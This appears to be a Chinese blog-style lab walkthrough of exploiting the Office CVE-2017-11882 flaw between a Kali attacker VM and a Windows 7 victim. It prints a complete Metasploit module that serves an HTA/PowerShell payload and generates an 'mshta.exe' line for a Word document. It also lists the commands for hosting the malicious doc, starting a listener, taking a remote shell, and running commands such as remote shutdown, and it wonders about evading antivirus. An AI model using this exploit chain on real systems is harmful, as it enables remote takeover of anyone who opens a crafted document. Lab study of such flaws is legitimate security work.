1.製造條件
這裏搭建兩臺虛擬機進行測試!
測試機配置信息:
操做系統
|
Win7_x64 企業版
|
Office版本
|
Office 2013
|
防火牆狀態
|
開啓 |
IP
|
192.168.1.103
|
系統語言
|
Chinese
|
操做系統
|
Kali 2.1 中文
|
IP
|
192.168.1.104
|
首先在kali下安裝nginx,或者tomcat應該也是能夠的,首先將生成的doc文件放在/usr/share/nginx/html目錄下,方便被攻擊的機器獲取doc文件。
啓動nginx服務:systemctl start nginx
使用
Command43b_CVE-2017-11882.py生成doc文件
# 將下載好的漏洞模塊放在msf任意目錄下
root@kali:/# mv cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
cve_2017_11882.rb的內容以下:
##
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end
def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end
def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
而後,這裏在使用msfconsole以前,須要先打開數據庫,例如
service postgresql start
打開數據庫以後,進入msfconsole,而後對msf進行初始化,執行msf init
以後search cve_2017_11882搜索漏洞模塊,而後按照【參考文章2】進行配置,最後 exploit 以後啓動對 8080 端口的監聽,至於爲何是8080端口我也不太清楚啊!
2.萬事俱備,只欠東風
這個時候,只須要在 win7 上經過瀏覽器的到 cve2.doc文檔,打開以後,kali中命令行馬上顯示已經獲取到了鏈接,
session命令獲得回話,session -i 【id】創建鏈接
shell命令能夠獲得cmd,執行net user查看用戶
3.實驗效果
經過這個漏洞,能夠肆無忌憚的執行一些命令,例如關機,刪除一些文件,收集一些系統信息仍是很是有用的
在桌面新建文件夾
遠程關機
雖然獲取到了命令行,可是經過net user命令能夠看到登陸的用戶級別是Guest,這就限制了一些須要權限較高的命令執行!
並且這裏win7沒有安裝殺軟,我不知道安裝殺軟以後word文檔會不會被查殺呢?